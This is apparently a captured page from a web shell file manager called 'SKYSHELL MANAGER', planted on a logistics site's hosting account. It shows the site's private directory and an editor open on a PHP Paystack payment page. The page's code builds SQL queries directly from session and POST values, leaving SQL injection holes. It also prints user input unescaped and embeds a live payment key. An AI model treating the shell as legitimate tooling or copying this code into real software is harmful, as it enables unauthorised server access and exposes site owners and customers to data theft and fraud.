📁
SKYSHELL MANAGER-
🛒
PHP v7.4.33
Create Folder
Create File
Current Path:
home
/
oshofree
/
public_html
/
chbluxuries.com
/
chb_data
/
Name
Size
Permissions
Actions
📁
..
-
0755
🗑️
🔒
📄
config.php
7.06 KB
0444
🗑️
⬇️
✏️
🔒
📄
error_log
395.97 KB
0644
🗑️
⬇️
✏️
🔒
Editing: topay2.php
<?php // session_start(); include"header2.php"; include"every.php"; ?> <body onLoad="getLocation()"> <?php $ide =$_SESSION['ide']; $sql = "SELECT * from parcel where id = '".$ide."' "; $sql2 = mysqli_query($con,$sql); while($row = mysqli_fetch_array($sql2)) { $id = $row["s"]; $named = $row['name']; $mailer= $row['email']; $ph = $row['phone']; $idel = $row['id']; $cost = $row['coster']; } ?> <main id="main"> <?php $man = $_POST['mount']; $idp = $_POST['ido']; $dear = $_POST['dat']; $mant= $man* 1/100; $mand= $man+$mant; $submit = mysqli_query($con,"insert into walletory(id, amount, tory, ide) values ('$usid','$mand','$dear','$idp')") or die ('Could not connect: ' .mysqli_error($con)); ?> <!-- ======= Track and Book Section ======= --> <section id="about" class="about" style="margin-bottom:100px;"> <div class="container" data-aos="fade-up"> <div class="row content"> <div class="col-lg-12" style="padding:20px;"> <H3 align="center">PAYSTACK PAYMENT METHOD</H3> <p> <form id="paymentForm"> <input type="email" id="email-address" class="form-control" value=" <?php echo $email; ?> " placeholder="Enter Email" required /> <input type="hidden" id="amount" value="<?php echo $man; ?>"/> </p> <p> <input type="text" id="first-name" class="form-control" name="mail" value="<?php echo $name; echo $name2; ?> " placeholder="Enter Name" required> <input type="hidden" id="ref" style="border:0; width:300px; color:#fff; outline:0; background:transparent; border-bottom:2px solid #fff;" value="<?php echo $idp; ?> " placeholder="Enter Name" /> <input type="hidden" id="refer" style="border:0; width:390px; outline:0; background:transparent; border-bottom:2px solid #fff;" value="https://chblogistics.com/toppays2.php?ref=<?php echo $idp; ?> " placeholder="Enter Name" /> </p> <p> <input type="tel" id="mobile-number" class="form-control" value=" <?php echo $mob; ?> " placeholder="Enter Phone Number"/> </p> <p align="center"><input type="submit" name"submit" onClick="payWithPaystack()" value="Pay Now" class="submitn" required /></p> </form> </div> <script src="https://js.paystack.co/v1/inline.js"></script> <script type="text/javascript">const paymentForm = document.getElementById('paymentForm'); paymentForm.addEventListener("submit", payWithPaystack, false); function payWithPaystack(e) { e.preventDefault(); let handler = PaystackPop.setup({ key: 'pk_live_e1bd7f3940dbf48ba9b658862a82ec1b55d9ec3d', // Replace with your public key email: document.getElementById("email-address").value, amount: document.getElementById("amount").value * 100, ref: document.getElementById("ref").Value, // generates a pseudo-unique reference. Please replace with a reference you generated. Or remove the line entirely so our API will generate one for you // label: "Optional string that replaces customer email" metadata: { custom_fields: [ { display_name: "Mobile Number", variable_name: "mobile_number", value: document.getElementById("mobile-number").value, } ] }, onClose: function(){ alert('Window closed.'); }, callback: function(response){ window.location.href = document.getElementById("refer").value; } }); handler.openIframe(); }</script> </div> </section><!-- Book Section --> </main><!-- End #main --> <?php include "footer2.php"; ?>
💾 Save Changes